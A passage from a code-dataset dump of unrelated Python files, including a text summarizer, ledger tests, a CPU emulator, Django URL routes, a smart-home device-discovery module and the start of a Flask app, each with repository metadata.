return (img_width, img_height)\n\ndef process_file_upload(pending_photo, chunks):\n mkdir_p(settings.LOCAL_PHOTOS_DIRECTORY)\n save_file_path = os.path.join(settings.LOCAL_PHOTOS_DIRECTORY, pending_photo.storage_id + '.jpg')\n\n with open(save_file_path, 'wb') as f:\n for chunk in chunks:\n f.write(chunk)\n\n # TODO verify image\n\n now = timezone.now()\n\n pending_photo.set_uploaded(now)\n\n process_uploaded_image(pending_photo.storage_id)\n\n pending_photo.set_processing_done(now)\n\n# Taken from \ndef mkdir_p(path):\n try:\n os.makedirs(path)\n except OSError as exc: # Python >2.5\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else: raise\n","sub_path":"photos/image_uploads.py","file_name":"image_uploads.py","file_ext":"py","file_size_in_byte":9290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"209104963","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Oct 5 16:03:05 2020\r\n\r\n@author: Vikee\r\n\"\"\"\r\n\r\n\r\nimport bs4 as bs\r\nimport urllib.request\r\nimport re\r\nimport nltk\r\nimport heapq\r\n\r\n# Gettings the data source\r\n\r\nsource = urllib.request.urlopen('https://en.wikipedia.org/wiki/Global_warming').read()\r\n\r\n# we get complete html doc of this web page\r\n\r\n# now we need string data as we cannot use html data\r\n\r\n# so use beautiful soup and lxml libraries\r\n\r\n# lxml is a parser that beautiful source uses\r\n\r\n\r\n# Parsing the data/ creating BeautifulSoup object\r\n\r\nsoup = bs.BeautifulSoup(source,'lxml') # gives clear html\r\n\r\n# Fetching the text data \r\n\r\ntext = \"\"\r\nfor paragraph in soup.find_all('p'): # p is html paragraph tag. text is always inside the paraagraph tag in wikipedia\r\n text += paragraph.text\r\n \r\n # this artilcle containes more impurities so preprocess it\r\n\r\n# Preprocessing the data\r\n \r\ntext = re.sub(r'\\[[0-9]*\\]',' ',text) # remove numbers since they are references in wiki page\r\ntext = re.sub(r'\\s+',' ',text) \r\nclean_text = text.lower()\r\nclean_text = re.sub(r'\\W',' ',clean_text) # remove non word characters\r\nclean_text = re.sub(r'\\d',' ',clean_text) # remove digits\r\nclean_text = re.sub(r'\\s+',' ',clean_text) # remove extra spaces\r\n\r\n\r\n# Tokenize sentences\r\n\r\nsentences = nltk.sent_tokenize(text) # use text and not clean text since it does not have anything except words\r\n\r\n# Stopword list\r\nstop_words = nltk.corpus.stopwords.words('english')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Word counts -- building histogram\r\n\r\nword2count = {} # this dictionary will contin histogram\r\nfor word in nltk.word_tokenize(clean_text):\r\n if word not in stop_words: \r\n if word not in word2count.keys():\r\n word2count[word] = 1\r\n else:\r\n word2count[word] += 1 # is already there, just increase its count\r\n\r\n# Converting counts to weights --- create weighted histogram - divide each by max value\r\n \r\n\r\nfor key in word2count.keys():\r\n word2count[key] = word2count[key]/max(word2count.values())\r\n\r\n# this is the weighted histogram of each word\r\n # we get 1 if that word appears more no of times\r\n \r\n \r\n \r\n \r\n \r\n # Product sentence scores - to get the sentence score, we need to add word2ount score of all words in taht sentence\r\n \r\nsent2score = {}\r\nfor sentence in sentences:\r\n for word in nltk.word_tokenize(sentence.lower()):\r\n if word in word2count.keys():\r\n if len(sentence.split(' ')) < 30: # sentences whose length of words i.e word count <30\r\n if sentence not in sent2score.keys():\r\n sent2score[sentence] = word2count[word]\r\n else:\r\n sent2score[sentence] += word2count[word]\r\n \r\n \r\n \r\n # Gettings best 5 sentences with high score using heapq library \r\n \r\nbest_sentences = heapq.nlargest(5, sent2score, key=sent2score.get)\r\n\r\nprint('---------------------------------------------------------')\r\nfor sentence in best_sentences:\r\n print(sentence) \r\n \r\n \r\n ","sub_path":"Project -Text Summarization.py","file_name":"Project -Text Summarization.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"558255530","text":"from tests.utils import storage\nfrom indy import ledger\nfrom indy.error import ErrorCode, IndyError\n\nimport json\nimport pytest\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\n@pytest.fixture(autouse=True)\ndef before_after_each():\n storage.cleanup()\n yield\n storage.cleanup()\n\n\n@pytest.mark.asyncio\nasync def test_build_nym_request_works_for_invalid_identifier():\n identifier = \"invalid_base58_identifier\"\n dest = \"FYmoFw55GeQH7SRFa37dkx1d2dZ3zUF8ckg7wmL7ofN4\"\n\n with pytest.raises(IndyError) as e:\n await ledger.build_nym_request(identifier, dest, None, None, None)\n assert ErrorCode.CommonInvalidStructure == e.value.error_code\n\n\n@pytest.mark.asyncio\nasync def test_build_nym_request_works_for_only_required_fields():\n identifier = \"Th7MpTaRZVRYnPiabds81Y\"\n destination = \"FYmoFw55GeQH7SRFa37dkx1d2dZ3zUF8ckg7wmL7ofN4\"\n\n expected_response = {\n \"identifier\": identifier,\n \"operation\": {\n \"type\": \"1\",\n \"dest\": destination\n }\n }\n\n response = json.loads((await ledger.build_nym_request(identifier, destination, None, None, None)))\n assert expected_response.items() <= response.items()\n\n\n@pytest.mark.asyncio\nasync def test_build_nym_request_works_with_option_fields():\n identifier = \"Th7MpTaRZVRYnPiabds81Y\"\n destination = \"FYmoFw55GeQH7SRFa37dkx1d2dZ3zUF8ckg7wmL7ofN4\"\n ver_key = \"Anfh2rjAcxkE249DcdsaQl\"\n role = \"STEWARD\"\n alias = \"some_alias\"\n\n expected_response = {\n \"identifier\": identifier,\n \"operation\": {\n \"type\": \"1\",\n \"dest\": destination,\n \"verkey\": ver_key,\n \"alias\": alias,\n \"role\": \"2\"\n }\n }\n\n response = json.loads(await ledger.build_nym_request(identifier, destination, ver_key, alias, role))\n assert expected_response.items() <= response.items()\n","sub_path":"wrappers/python/tests/ledger/test_build_nym_request.py","file_name":"test_build_nym_request.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"569200941","text":"#Aptuveni novērtējot funkcijas saknes vērtību lietojot ”peli” iegūstam x=3,1346.\n\nfrom math import sin, fabs\nfrom time import sleep\n\ndef f(x):\n return sin(x)\nk=0\na = 1.1\nb = 3.2\n\nfuna = f(a)\nfunb = f(b)\n\nif (funa*funb>0.0):\n print (\"Funkcijas sin(x) dotaja intervala [%s, %s] saknju nav\" %(a,b))\n sleep(1); exit()\nelse:\n print (\"Funkcijas sin(x) dotaja intervala sakne(s) ir!\")\n\ndeltax = 0.001\n\nwhile (fabs(b-a)>deltax):\n k=k+1\n x=(a+b)/2; funx=f(x)\n if (funa*funx < 0.):\n b=x \n else:\n a=x\nprint (\" sin(x) Sakne ir:\", x)\nprint (\"y=\", sin(x))\nprint (\"k=\", k)\n","sub_path":"170.py","file_name":"170.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"263443049","text":"import agate\nimport util\nfrom datetime import datetime\nfrom pytz import timezone\n\nio = '../../io/'\nbos_custom = util.load_boston_data(io)\n\ndate = util.set_eastern(datetime(2015, 12, 1, 0))\nsince_date = bos_custom.where(lambda row: row['start_time_est'] >= date)\n\n# add in the duration of the add\nwith_delta = since_date.compute([\n ('delta', agate.Change('start_time_est', 'end_time_est' ))\n])\n\n# convert delta duration to number in seconds \nwith_seconds = with_delta.compute([\n ('seconds', agate.Formula(agate.Number(), lambda row: row['delta'].total_seconds()))\n])\n\n# group by candidate and get total aired\ntotals = with_seconds.group_by('for_candidate').aggregate([\n ('total_aired', agate.Length()),\n ('runtime', agate.Sum('seconds'))\n])\n\ntotals.to_csv(io + 'graphic_overview.csv')\n","sub_path":"data/scripts/python/overview.py","file_name":"overview.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"401224780","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport os.path\nimport logging\nfrom vdmparser import parser\nimport astor\nimport re\n\nCOMMENT = re.compile(r\"--.*|\\/\\*[\\s\\S]*?\\*\\/.*\")\n\n\nif __name__ == '__main__':\n\n log = logging.getLogger()\n fpath = sys.argv[1]\n fname = fpath.replace(\"input/\",\"\")\n\n with open(fpath, 'r') as fp:\n\n txt = fp.read()\n # コメントアウトを削除\n ret = re.sub(COMMENT, \"\", txt)\n\n result = parser.parse(ret, debug=log)\n code = astor.to_source(result.toPy(), ' '*4, False)\n\n # VDM-SL AST生成\n with open('./output/'+os.path.splitext(fname)[0]+'.vdm_ast', 'w') as output:\n output.write(result.dumps())\n\n # Pythonコード生成\n with open('./output/'+os.path.splitext(fname)[0]+'.py', 'w') as output:\n output.write(code)\n\n","sub_path":"vdm2py_codegen.py","file_name":"vdm2py_codegen.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"362026485","text":"\"\"\"CPU functionality.\"\"\"\n\nimport sys\n\n\nclass CPU:\n def __init__(self):\n self.registers = [0b0] * 8\n self.pc = 0\n self.ir = None\n self.ram = [0b0] * 0xFF\n self.spl = 8 - 1\n self.registers[self.spl] = 0xF4\n self.fl = 0b00000000\n self.eq = 0b00000000\n self.lt = 0b00000000\n self.gt = 0b00000000\n\n self.OPCODES = {\n 0b10000010: 'LDI',\n 0b01000111: 'PRN',\n 0b00000001: 'HLT',\n 0b10100000: 'ADD',\n 0b10100010: 'MUL',\n 0b01000110: 'POP',\n 0b01000101: 'PUSH',\n 0b10000100: 'ST',\n 0b01010000: 'CALL',\n 0b00010001: 'RET',\n 0b10100111: 'CMP',\n 0b01010100: 'JMP',\n 0b01010101: 'JEQ',\n 0b01010110: 'JNE',\n }\n\n def load(self, filename):\n try:\n with open(filename, 'r') as f:\n lines = (line for line in f.readlines() if not (\n line[0] == '#' or line[0] == '\\n'))\n program = [int(line.split('#')[0].strip(), 2)\n for line in lines]\n address = 0\n\n for instruction in program:\n self.ram[address] = instruction\n address += 1\n except FileNotFoundError as e:\n print(e)\n sys.exit()\n\n def alu(self, op, reg_a, reg_b):\n # addition\n if op == \"ADD\":\n self.registers[reg_a] += self.registers[reg_b]\n # multiplication\n elif op == \"MUL\":\n self.registers[reg_a] *= self.registers[reg_b]\n # compare\n elif op == \"CMP\":\n a = self.registers[reg_a]\n b = self.registers[reg_b]\n if a == b:\n self.eq, self.lt, self.gt = (1, 0, 0)\n elif a < b:\n self.eq, self.lt, self.gt = (0, 1, 0)\n elif a > b:\n self.eq, self.lt, self.gt = (0, 0, 1)\n else:\n raise Exception(\"Unsupported ALU operation\")\n\n def trace(self):\n print(f\"TRACE: %02X | %02X %02X %02X |\" % (\n self.pc,\n self.ram_read(self.pc),\n self.ram_read(self.pc + 1),\n self.ram_read(self.pc + 2)\n ), end='')\n for i in range(8):\n print(\" %02X\" % self.registers[i], end='')\n print()\n\n def ram_read(self, addr):\n return self.ram[addr]\n\n def ram_write(self, value, addr):\n self.ram[addr] = value\n\n def ldi(self):\n reg = self.ram[self.pc + 1]\n val = self.ram[self.pc + 2]\n self.registers[reg] = val\n self.pc += 3\n\n def prn(self):\n reg = self.ram[self.pc + 1]\n val = self.registers[reg]\n print(f\"hex val: {val:x}\\tdec val: {val}\")\n self.pc += 2\n\n def aluf(self, op):\n reg_a = self.ram[self.pc + 1]\n reg_b = self.ram[self.pc + 2]\n self.alu(op, reg_a, reg_b)\n self.pc += 3\n\n def push(self):\n reg = self.ram[self.pc + 1]\n val = self.registers[reg]\n self.registers[self.spl] -= 1\n self.ram[self.registers[self.spl]] = val\n self.pc += 2\n\n def pop(self):\n reg = self.ram[self.pc + 1]\n val = self.ram[self.registers[self.spl]]\n self.registers[reg] = val\n self.registers[self.spl] += 1\n self.pc += 2\n\n def st(self):\n reg_a = self.ram[self.pc + 1]\n reg_b = self.ram[self.pc + 2]\n address_a = self.registers[reg_a]\n val_b = self.registers[reg_b]\n self.ram[address_a] = val_b\n self.pc += 2\n\n def call(self):\n return_address = self.pc + 2\n self.registers[self.spl] -= 1\n val = self.registers[self.spl]\n self.ram[val] = return_address\n\n register_address = self.ram[self.pc + 1]\n subroutine_location = self.registers[register_address]\n self.pc = subroutine_location\n\n def ret(self):\n return_address = self.ram[self.spl]\n self.registers[self.spl] += 1\n self.pc = return_address\n\n def jmp(self):\n register_address = self.ram[self.pc + 1]\n subroutine_location = self.registers[register_address]\n self.pc = subroutine_location\n\n def jeq(self):\n if self.eq:\n register_address = self.ram[self.pc + 1]\n subroutine_location = self.registers[register_address]\n self.pc = subroutine_location\n else:\n self.pc += 2\n\n def jne(self):\n if not self.eq:\n register_address = self.ram[self.pc + 1]\n subroutine_location = self.registers[register_address]\n self.pc = subroutine_location\n else:\n self.pc += 2\n\n def comp(self):\n self.alu(\"CMP\", self.ram[self.pc + 1], self.ram[self.pc + 2])\n self.pc += 3\n\n def run(self):\n running = True\n while running:\n # self.trace()\n self.ir = self.ram[self.pc]\n try:\n op = self.OPCODES[self.ir]\n # do LDI\n if op == 'LDI':\n self.ldi()\n # do Print\n elif op == 'PRN':\n self.prn()\n # pass to alu\n elif op == 'ADD' or op == 'MUL':\n self.aluf(op)\n # push\n elif op == 'PUSH':\n self.push()\n # pop\n elif op == 'POP':\n self.pop()\n # ST\n elif op == 'ST':\n self.st()\n # call\n elif op == 'CALL':\n self.call()\n # call\n elif op == 'RET':\n self.ret()\n # jmp\n elif op == 'JMP':\n self.jmp()\n # jeq\n elif op == 'JEQ':\n self.jeq()\n # jne\n elif op == 'JNE':\n self.jne()\n # cmp\n elif op == 'CMP':\n self.comp()\n # exit\n elif op == 'HLT':\n running = False\n except KeyError:\n print(f\"unknown command {self.ir}\")\n self.pc += 1\n pass\n","sub_path":"cpu.py","file_name":"cpu.py","file_ext":"py","file_size_in_byte":6322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"264476780","text":"import numpy as np\nfrom .abstract_acquisition import AbstractAcquisitionFunction\n\n\nclass ImprovementAcquisitionFunction(AbstractAcquisitionFunction):\n \"\"\"Improvement-Based Acquisition Function Class\n\n Common acquisition function can be interpreted as improvements over the best\n seen observation so far. In particular, Thor implements the probability of\n improvement and expected improvement acquisition function, which measures\n the probability that an input will result in an improvement in the latent\n objective function and the extent to which an input can be expected to\n result in an improvement, respectively.\n\n As it turns out, these improvement-based acquisition functions all rely on\n retaining both the best seen value of the latent objective and on computing\n a z-score quantity that normalizes the predicted mean of the surrogate\n probabilistic model with respect to both the maximum observed value of the\n metric and the extent of uncertainty about that prediction.\n\n Parameters:\n models (AbstractProcess): A list of Gaussian process models that\n interpolates the observed data. Each element of the list should\n correspond to a different configuration of kernel hyperparameters.\n y_best (float): The best seen value of the metric observed so far. This\n is an optional parameter, and if it is not specified by the user\n then it will be computed directly from Thor's database (in\n particular, taking the maximum of all values of the metric recorded\n for an experiment).\n \"\"\"\n def __init__(self, models, y_best=None):\n \"\"\"Initialize parameters of the improvement-based acquisition function.\n \"\"\"\n super().__init__(models)\n if y_best is not None:\n self.y_best = y_best\n else:\n self.y_best = self.models[0].y.max()\n\n def score(self, X):\n \"\"\"Compute a z-score quantity for the prediction at a given input. This\n allows us to balance improvement over the current best while controlling\n for uncertainty.\n\n Parameters:\n X (numpy array): A numpy array representing the points at which we\n need to compute the value of the improvement-based acquisition\n function. For each row in the input, we will compute the\n associated mean and standard deviation of the mean. This latter\n quantity, alongside the best value of the metric, are then used\n to standardize the mean.\n\n Returns:\n A tuple containing the z-score, the mean of the metric at each\n input, and the standard deviation of the mean at each input.\n \"\"\"\n m, n = self.n_models, X.shape[0]\n means, sds, gammas = np.zeros((m, n)), np.zeros((m, n)), np.zeros((m, n))\n for i, mod in enumerate(self.models):\n # Compute the mean and standard deviation of the model's interpolant\n # of the objective function.\n means[i], var = mod.predict(X, diagonal=True)\n sds[i] = np.sqrt(var)\n # Compute z-score-like quantity capturing the excess of the mean\n # over the current best, adjusted for uncertainty in the measurement.\n gammas[i] = (means[i] - self.y_best) / sds[i]\n\n return gammas, means, sds\n","sub_path":"sif/acquisitions/improvement_acquisition.py","file_name":"improvement_acquisition.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"121786353","text":"import csv\nimport math\nimport numpy as np\nfrom itertools import *\nfrom pyplasm import *\n\ndef builder_roof(fileName):\n\tj=0\n\ts=0\n\tt=0\n\tfirst_shape = []\n\tfalde = []\n\ttop_shape = []\n\tpol= []\n\tpol2 = []\n\twith open(\"lines/\"+fileName + \".lines\", \"rb\") as file:\n\t\treader = csv.reader(file, delimiter=\",\")\n\t\tpolylineList = []\n\t\treader2 = reader\n\t\trofirstWindow=next(reader2)\n\t\tpx = rofirstWindow[0]\n\t\tpy = rofirstWindow[1]\n\twith open(\"lines/\"+fileName + \".lines\", \"rb\") as file:\n\t\treader = csv.reader(file, delimiter=\",\")\n\t\tfor row in reader:\n\t\t\tfirst_shape.append([float(row[0])-float(px),float(row[1])-float(py)])\n\t\t\tfirst_shape.append([float(row[2])-float(px),float(row[3])-float(py)])\n\tcentroid = centroid_of_polygon(first_shape)\n\t[x,y] = centroid\n\tcentroid = [x,y]\n\tfor f in range(len(first_shape)):\n\t\tfirst_shape[f][0]=first_shape[f][0]-centroid[0]\n\t\tfirst_shape[f][1]=first_shape[f][1]-centroid[1]\n\twhile j0:\n\t\tcos = 400\n\t\tfor j in range(len(points)):\n\t\t\tcos2 = find_angle(points[j],centroid)\n\t\t\t\n\t\t\tif cos2 < cos:\n\t\t\t\tcos = cos2\n\t\t\t\tnew_add = points[j]\n\t\tnew_points.append(new_add)\n\t\tfor t in range(len(points)):\n\t\t\tif points[t]==new_add:\n\t\t\t\tel = t\n\t\t\n\t\tpoints.pop(el)\n\t\t\n\n\treturn new_points \n\ndef distance(p1,p2):\n\n\treturn float(math.sqrt(math.pow((p1[0] - p2[0]), 2)+math.pow((p1[1] - p2[1]), 2)))\n\ndef find_angle(p1,p2):\n\treturn math.atan2(p1[1]-p2[1],p1[0]-p2[0])\n\n\ndef main():\n\tVIEW(builder_roof(\"roof\"))\n\nif __name__=='__main__':\n\tmain()\n","sub_path":"2017-01-13/src/workshop_09.py","file_name":"workshop_09.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"19546521","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf import settings\nfrom django.conf.urls import url, include\n# from django.conf.urls.i18n import i18n_patterns\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom django.contrib import admin\nfrom django.contrib.sitemaps.views import sitemap\n\nfrom reo_api.views import (\n HomeView, DocsDashboardView, BrowseAPIDashboardView, TokenView)\n\nfrom django.views.generic import RedirectView\n\n\nfrom people.views import views as people_views\n\nfrom django.views.decorators.cache import cache_page\nfrom rest_framework.documentation import include_docs_urls\nfrom transcription.views import api as transcription_api\nfrom rest_framework import routers\nfrom rest_framework.authtoken import views\n\n\nurlpatterns = [\n\n url(r'^$',\n HomeView.as_view(),\n name='home'),\n\n # url(r'^dash/docs$',\n # CustomDocsView.as_view(),\n # name='dashboard-docs'),\n\n # url(r'^dash/api$',\n # BrowseAPIDashboardView.as_view(),\n # name='dashboard-api'),\n\n # url(r'^privacy',\n # cache_page(60 * 15)(\n # views.privacy),\n # name='privacy'),\n\n url(r'^', include(('transcription.urls', 'reo_api'), namespace='transcription')),\n\n url(r'^i18n/', include('django.conf.urls.i18n')),\n\n url(r'^admin/', admin.site.urls),\n url(r'^account/', include('allauth.urls')),\n url(r'^accounts/', include('allauth.urls')),\n\n url(r'^signup/',\n RedirectView.as_view(\n permanent=False,\n query_string=True,\n url='/accounts/signup'),\n name='signup'),\n\n url(r'^login/',\n RedirectView.as_view(\n permanent=False,\n query_string=True,\n url='/accounts/login'),\n name='login'),\n\n # url(_(r'^people/'), include('people.urls', namespace='people')),\n\n]\n\n\nrouter = routers.DefaultRouter()\n# router.register(r'groups', corpora_api.GroupViewSet)\n# router.register(r'users', corpora_api.UserViewSet)\n\n# router.register(r'tribes', people_api.TribeViewSet)\n# router.register(r'demographics', people_api.DemographicViewSet)\n# router.register(r'persons', people_api.PersonViewSet)\n# router.register(r'knownlangauges', people_api.KnownLanguageViewSet)\n# router.register(r'accept_license', license_api.AcceptLicenseViewSet)\n\n# router.register(r'transcriptions', transcription_api.TranscriptionViewSet)\n\nrouter.register(\n r'transcription-segment', transcription_api.TranscriptionSegmentViewSet)\nrouter.register(\n r'transcription', transcription_api.AudioFileTranscriptionViewSet)\n\ndocs_patterns = router.urls\n\nurlpatterns += [\n\n # url(r'^api/sentences/$', corpus_api.SentencesView.as_view()),\n url(r'^api/token', TokenView.as_view()),\n\n url(r'^api/', include(router.urls)),\n url(r'^api-auth/', include(\n 'rest_framework.urls',\n namespace='rest_framework')),\n\n]\n\nurlpatterns += [\n url(r'^api-token-auth/', views.obtain_auth_token),\n]\n\n\nurlpatterns += [\n url(r'^docs/', include_docs_urls(\n title='koreromaori.io',\n public=True,\n patterns=docs_patterns,\n schema_url='/api/',\n )),\n]\n\n\nif settings.DEBUG:\n import debug_toolbar\n urlpatterns = [\n url(r'^__debug__/', include(debug_toolbar.urls)),\n ] + urlpatterns\n","sub_path":"corpora/reo_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"1660848","text":"import functools\nimport json\nimport logging\nimport xml.etree.ElementTree as ET\n\nfrom copy import deepcopy\nfrom enum import IntEnum\n\nimport requests\n\nfrom .network_discovery import NetworkDiscovery\n\n\nSUPPORTED_DEVICES = [\n \"bose_soundtouch\",\n \"philips_hue\",\n \"sonos\",\n]\n\n\nDISCOVERY_TIMESTAMP_FIELD = \"discovered\"\n\n\nclass UnauthenticatedDeviceError(Exception):\n message = \"Device not authenticated...\"\n\n\nclass UpstreamError(Exception):\n def __init__(self, error_type=None):\n self.error_type = error_type\n self.message = \"Received error from the upstream device! Type: {}\".format(self.error_type)\n\n\nclass PhilipsHueBridgeError(IntEnum):\n unauthorized = 1\n button_not_pressed = 101\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef discover_devices(devices, now):\n all_devices = []\n known_devices = deepcopy(devices)\n\n discovered_devices = discover()\n for device in discovered_devices:\n # make sure we get updates for devices we already had discovered before\n existing_device = next((d for d in known_devices if d[\"id\"] == device[\"id\"]), None)\n if existing_device:\n # device already known, check if we should update any fields\n if {k: v for k, v in existing_device.items() if k != DISCOVERY_TIMESTAMP_FIELD} == device:\n # all fields match, use the already known device\n continue\n else:\n # fields don't match, device will added as new\n known_devices.remove(existing_device)\n\n device[DISCOVERY_TIMESTAMP_FIELD] = str(now)\n all_devices.append(device)\n\n # add already known devices that were not found in this discovery\n # run or it was found that they didn't have any updates\n all_devices.extend(known_devices)\n\n return sorted(all_devices, key=lambda d: d[\"id\"])\n\n\ndef discover(discovery_class=NetworkDiscovery):\n \"\"\"\n Return a list of all discovered devices.\n\n :param discovery_class: Allow overriding what class to use for\n discovery. Used only in unit tests.\n\n \"\"\"\n logger.info(\"Starting device discovery...\")\n\n devices = []\n\n netdisco = discovery_class(SUPPORTED_DEVICES)\n netdisco.scan()\n\n for device_type in netdisco.discover():\n for device_info in netdisco.get_info(device_type):\n device_description = get_device_description(device_type, device_info)\n logger.info(\"Discovered %s device with ip %s\", device_type, device_description[\"ip\"])\n devices.append(device_description)\n\n netdisco.stop()\n logger.info(\"Device discovery finished.\")\n\n return devices\n\n\ndef get_device_description(device_type, device_info):\n if device_type == \"philips_hue\":\n device_class = PhilipsHueBridgeDeviceDescription\n elif device_type == \"bose_soundtouch\":\n device_class = SoundtouchDeviceDescription\n else:\n device_class = SonosSpeakerDeviceDescription\n\n return device_class(device_info).device_description\n\n\nclass username_required:\n def __init__(self, method):\n self.method = method\n\n def __call__(self, instance, *args, **kwargs):\n if instance.username is None:\n raise UnauthenticatedDeviceError()\n\n return self.method(instance, *args, **kwargs)\n\n def __get__(self, instance, instancetype):\n return functools.partial(self.__call__, instance)\n\n\nclass PhilipsHueBridgeApiClient:\n def __init__(self, ip_address, username=None):\n self.ip_address = ip_address\n self.bridge_url = \"http://{}/api\".format(self.ip_address)\n self.app_name = \"senic hub#192.168.1.12\" # TODO get real IP of the hub\n\n self.username = username\n\n self._http_session = requests.Session()\n\n def _request(self, url, method=\"GET\", payload=None, timeout=5):\n request = requests.Request(method, url, data=payload)\n response = self._http_session.send(request.prepare(), timeout=timeout)\n if response.status_code != 200:\n logger.debug(\"Response from Hue bridge %s: %s\", url, response.status_code)\n return\n\n data = response.json()\n if isinstance(data, list):\n data = data[0]\n\n if \"error\" in data:\n logger.error(\"Response from Hue bridge %s: %s\", self.bridge_url, data)\n error_type = data[\"error\"][\"type\"]\n if error_type in [\n PhilipsHueBridgeError.unauthorized,\n PhilipsHueBridgeError.button_not_pressed,\n ]:\n raise UnauthenticatedDeviceError()\n else:\n raise UpstreamError(error_type=error_type)\n\n return data\n\n def authenticate(self):\n \"\"\"\n Make the authentication requests to Philips Hue bridge.\n\n Caller has to make 2 requests. First request initiates the\n authentication handshake. Then user has to authenticate with\n the Philips Hue bridge by pressing the button on the bridge\n within 30 seconds. The second request will write the state\n file with the username in case of successful authentication.\n\n \"\"\"\n try:\n payload = json.dumps({\"devicetype\": self.app_name})\n response = self._request(self.bridge_url, method=\"POST\", payload=payload)\n if response:\n self.username = response[\"success\"][\"username\"]\n except UnauthenticatedDeviceError:\n self.username = None\n\n return self.username\n\n def is_authenticated(self):\n # Verify that we can still authenticate with the bridge using\n # the username that we have saved. We do this by getting the\n # bridge configuration.\n try:\n self.get_state()\n except UnauthenticatedDeviceError:\n return False\n\n return True\n\n @username_required\n def get_state(self):\n url = \"{}/{}\".format(self.bridge_url, self.username)\n return self._request(url)\n\n @username_required\n def get_lights(self):\n url = \"{}/{}/lights\".format(self.bridge_url, self.username)\n return self._request(url)\n\n\nclass SoundtouchDeviceDescription:\n def __init__(self, device_info):\n self.ip_address, self.port = device_info\n self.name = \"Bose Soundtouch\"\n\n @property\n def device_description(self):\n return {\n \"id\": self.ip_address.replace('.', '_'),\n \"type\": \"soundtouch\",\n \"ip\": self.ip_address,\n \"port\": self.port,\n \"name\": self.name,\n \"authenticationRequired\": False,\n \"extra\": {},\n }\n\n\nclass SonosSpeakerDeviceDescription:\n def __init__(self, device_info):\n self.ip_address = device_info\n response = requests.get('http://{}:1400/xml/device_description.xml'.format(self.ip_address))\n if response.status_code != 200:\n logger.warn(\"Response from Sonos speaker %s: status_code: %s, body: %s\", self.ip_address,\n response.status_code, response.text)\n raise UpstreamError(error_type=response.status_code)\n\n self.xml = ET.fromstring(response.text)\n\n device = self.xml.find('{urn:schemas-upnp-org:device-1-0}device')\n self.name = device.findtext('{urn:schemas-upnp-org:device-1-0}friendlyName')\n self.room_name = device.findtext('{urn:schemas-upnp-org:device-1-0}roomName')\n self.udn = device.findtext('{urn:schemas-upnp-org:device-1-0}UDN')\n\n @property\n def device_description(self):\n return {\n \"id\": self.udn.split('_')[1].lower(),\n \"type\": \"sonos\",\n \"ip\": self.ip_address,\n \"name\": self.name,\n \"authenticationRequired\": False,\n \"extra\": {\n \"roomName\": self.room_name,\n },\n }\n\n\nclass PhilipsHueBridgeDeviceDescription:\n def __init__(self, device_info):\n self.bridge_url = device_info[1]\n url = '{}description.xml'.format(self.bridge_url)\n response = requests.get(url)\n if response.status_code != 200:\n logger.warn(\"Response from Hue bridge %s: status_code: %s, body: %s\", url, response.status_code, response.text)\n raise UpstreamError(error_type=response.status_code)\n\n xml = ET.fromstring(response.text)\n\n device = xml.find('{urn:schemas-upnp-org:device-1-0}device')\n self.serial_number = device.findtext('{urn:schemas-upnp-org:device-1-0}serialNumber')\n self.name = device.findtext('{urn:schemas-upnp-org:device-1-0}friendlyName')\n\n @property\n def device_description(self):\n return {\n \"id\": self.serial_number.lower(),\n \"type\": \"philips_hue\",\n \"ip\": self.bridge_url.split(\"http://\")[1].split(\":\")[0],\n \"name\": self.name,\n \"authenticationRequired\": True,\n \"extra\": {},\n }\n","sub_path":"senic_hub/backend/device_discovery.py","file_name":"device_discovery.py","file_ext":"py","file_size_in_byte":8841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"202966794","text":"import logging.config\nimport logging\nfrom flask import Flask, Blueprint\nfrom flask_cors import CORS\nimport os\nfrom mv_musictool import settings\nfrom mv_musictool.api.musictool.endpoints.musictool import ns as nalign_namespace\nfrom mv_musictool.api.restplus import api,ReverseProxied\nfrom mv_musictool.mvexception.exception import register_error_handlers\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom werkzeug.contrib.fixers import ProxyFix\nos.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1' \napp = Flask(__name__)\n#app = Flask(__name__, static_url_path='/static', static_folder=\"/DATA/PROJECTS/musiq_app/musictool_app_mv/mv_musictool/static\")\n\napp.wsgi_app = ProxyFix(app.wsgi_app)\n# UPLOAD_FOLDER = 'mv_musictool/media'\n# app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['CORS_HEADERS'] = 'Content-Type'\ncors = CORS(app, resources={r\"*\": {\"origins\": \"*\"}})\nlogging.config.fileConfig('logging.conf')\n\n\nif settings.GUNICORN_ENABLE:\n app.wsgi_app = ReverseProxied(app.wsgi_app) #when server http proxy\n gunicorn_error_logger = logging.getLogger('gunicorn.error')\n 